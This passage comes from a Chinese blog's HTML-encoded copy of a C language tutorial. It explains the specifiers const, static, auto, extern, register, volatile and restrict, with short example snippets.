class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e * x\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 或者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e * x\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面示例中,对\u003ccode\u003ex\u003c/code\u003e指向的值进行修改导致报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e p = \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* x = \u0026amp;p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(*x)++; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果\u003ccode\u003econst\u003c/code\u003e在\u003ccode\u003e*\u003c/code\u003e后面,表示指针包含的地址不可修改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// const 表示地址 x 不能修改\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e x\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面示例中,对\u003ccode\u003ex\u003c/code\u003e进行修改导致报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e p = \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e x = \u0026amp;p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex++; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这两者可以结合起来。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指针变量\u003ccode\u003ex\u003c/code\u003e指向一个字符串。两个\u003ccode\u003econst\u003c/code\u003e意味着,\u003ccode\u003ex\u003c/code\u003e包含的内存地址以及\u003ccode\u003ex\u003c/code\u003e指向的字符串,都不能修改。\u003c/p\u003e\u003cp\u003e\u003ccode\u003econst\u003c/code\u003e的一个用途,就是防止函数体内修改函数参数。如果某个参数在函数体内不会被修改,可以在函数声明时,对该参数添加\u003ccode\u003econst\u003c/code\u003e说明符。这样的话,使用这个函数的人看到原型里面的\u003ccode\u003econst\u003c/code\u003e,就知道调用函数前后,参数数组保持不变。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efind\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003efind\u003c/code\u003e的参数数组\u003ccode\u003earr\u003c/code\u003e有\u003ccode\u003econst\u003c/code\u003e说明符,就说明该数组在函数内部将保持不变。\u003c/p\u003e\u003cp\u003e有一种情况需要注意,如果一个指针变量指向\u003ccode\u003econst\u003c/code\u003e变量,那么该指针变量也不应该被修改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* j = \u0026amp;i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*j = \u003cspan class=\"number\"\u003e2\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ej\u003c/code\u003e是一个指针变量,指向变量\u003ccode\u003ei\u003c/code\u003e,即\u003ccode\u003ej\u003c/code\u003e和\u003ccode\u003ei\u003c/code\u003e指向同一个地址。\u003ccode\u003ej\u003c/code\u003e本身没有\u003ccode\u003econst\u003c/code\u003e说明符,但是\u003ccode\u003ei\u003c/code\u003e有。这种情况下,\u003ccode\u003ej\u003c/code\u003e指向的值也不能被修改。\u003c/p\u003e\u003ch3 id=\"static\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#static\" class=\"headerlink\" title=\"static\"\u003e\u003c/a\u003estatic\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e说明符对于全局变量和局部变量有不同的含义。\u003c/p\u003e\u003cp\u003e(1)用于局部变量(位于块作用域内部)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e用于函数内部声明的局部变量时,表示该变量的值会在函数每次执行后得到保留,下次执行时不会进行初始化,就类似于一个只用于函数内部的全局变量。由于不必每次执行函数时,都对该变量进行初始化,这样可以提高函数的执行速度,详见《函数》一章。\u003c/p\u003e\u003cp\u003e(2)用于全局变量(位于块作用域外部)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e用于函数外部声明的全局变量时,表示该变量只用于当前文件,其他源码文件不可以引用该变量,即该变量不会被链接(link)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e修饰的变量,初始化时,值不能等于变量,必须是常量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e n = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e m = n; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003em\u003c/code\u003e有\u003ccode\u003estatic\u003c/code\u003e修饰,它的值如果等于变量\u003ccode\u003en\u003c/code\u003e,就会报错,必须等于常量。\u003c/p\u003e\u003cp\u003e只在当前文件里面使用的函数,也可以声明为\u003ccode\u003estatic\u003c/code\u003e,表明该函数只在当前文件使用,其他文件可以定义同名函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eg\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"auto\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#auto\" class=\"headerlink\" title=\"auto\"\u003e\u003c/a\u003eauto\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eauto\u003c/code\u003e说明符表示该变量的存储,由编译器自主分配内存空间,且只存在于定义时所在的作用域,退出作用域时会自动释放。\u003c/p\u003e\u003cp\u003e由于只要不是\u003ccode\u003eextern\u003c/code\u003e的变量(外部变量),都是由编译器自主分配内存空间的,这属于默认行为,所以该说明符没有实际作用,一般都省略不写。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"extern\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#extern\" class=\"headerlink\" title=\"extern\"\u003e\u003c/a\u003eextern\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eextern\u003c/code\u003e说明符表示,该变量在其他文件里面声明,没有必要在当前文件里面为它分配空间。通常用来表示,该变量是多个文件共享的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003ea\u003c/code\u003e是\u003ccode\u003eextern\u003c/code\u003e变量,表示该变量在其他文件里面定义和初始化,当前文件不必为它分配存储空间。\u003c/p\u003e\u003cp\u003e但是,变量声明时,同时进行初始化,\u003ccode\u003eextern\u003c/code\u003e就会无效。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// extern 无效\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003eextern\u003c/code\u003e对变量初始化的声明是无效的。这是为了防止多个\u003ccode\u003eextern\u003c/code\u003e对同一个变量进行多次初始化。\u003c/p\u003e\u003cp\u003e函数内部使用\u003ccode\u003eextern\u003c/code\u003e声明变量,就相当于该变量是静态存储,每次执行时都要从外部获取它的值。\u003c/p\u003e\u003cp\u003e函数本身默认是\u003ccode\u003eextern\u003c/code\u003e,即该函数可以被外部文件共享,通常省略\u003ccode\u003eextern\u003c/code\u003e不写。如果只希望函数在当前文件可用,那就需要在函数前面加上\u003ccode\u003estatic\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"register\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#register\" class=\"headerlink\" title=\"register\"\u003e\u003c/a\u003eregister\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eregister\u003c/code\u003e说明符向编译器表示,该变量是经常使用的,应该提供最快的读取速度,所以应该放进寄存器。但是,编译器可以忽略这个说明符,不一定按照这个指示行事。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eregister\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eregister\u003c/code\u003e提示编译器,变量\u003ccode\u003ea\u003c/code\u003e会经常用到,要为它提供最快的读取速度。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eregister\u003c/code\u003e只对声明在代码块内部的变量有效。\u003c/p\u003e\u003cp\u003e设为\u003ccode\u003eregister\u003c/code\u003e的变量,不能获取它的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eregister\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *p = \u0026amp;a; \u003cspan class=\"comment\"\u003e// 编译器报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e\u0026amp;a\u003c/code\u003e会报错,因为变量\u003ccode\u003ea\u003c/code\u003e可能放在寄存器里面,无法获取内存地址。\u003c/p\u003e\u003cp\u003e如果数组设为\u003ccode\u003eregister\u003c/code\u003e,也不能获取整个数组或任一个数组成员的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eregister\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e p = a; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = *(a + \u003cspan class=\"number\"\u003e2\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e历史上,CPU 内部的缓存,称为寄存器(register)。与内存相比,寄存器的访问速度快得多,所以使用它们可以提高速度。但是它们不在内存之中,所以没有内存地址,这就是为什么不能获取指向它们的指针地址。现代编译器已经有巨大的进步,不管是否使用\u003ccode\u003eregister\u003c/code\u003e关键字,都会尽可能使用寄存器,所以不保证一定会把这些变量放到寄存器。\u003c/p\u003e\u003ch3 id=\"volatile\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#volatile\" class=\"headerlink\" title=\"volatile\"\u003e\u003c/a\u003evolatile\u003c/h3\u003e\u003cp\u003e\u003ccode\u003evolatile\u003c/code\u003e说明符表示所声明的变量,可能会预想不到地发生变化(即其他程序可能会更改它的值),不受当前程序控制,因此编译器不要对这类变量进行优化,每次使用时都应该查询一下它的值。硬件设备的编程中,这个说明符很常用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evolatile\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e foo;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evolatile\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* bar;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003evolatile\u003c/code\u003e的目的是阻止编译器对变量行为进行优化,请看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e foo = x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 其他语句,假设没有改变 x 的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e bar = x;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,由于变量\u003ccode\u003efoo\u003c/code\u003e和\u003ccode\u003ebar\u003c/code\u003e都等于\u003ccode\u003ex\u003c/code\u003e,而且\u003ccode\u003ex\u003c/code\u003e的值也没有发生变化,所以编译器可能会把\u003ccode\u003ex\u003c/code\u003e放入缓存,直接从缓存读取值(而不是从 x 的原始内存位置读取),然后对\u003ccode\u003efoo\u003c/code\u003e和\u003ccode\u003ebar\u003c/code\u003e进行赋值。如果\u003ccode\u003ex\u003c/code\u003e被设定为\u003ccode\u003evolatile\u003c/code\u003e,编译器就不会把它放入缓存,每次都从原始位置去取\u003ccode\u003ex\u003c/code\u003e的值,因为在两次读取之间,其他程序可能会改变\u003ccode\u003ex\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"restrict\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#restrict\" class=\"headerlink\" title=\"restrict\"\u003e\u003c/a\u003erestrict\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erestrict\u003c/code\u003e说明符允许编译器优化某些代码。它只能用于指针,表明该指针是访问数据的唯一方式。\u003c/p\u003e\u003cfigure 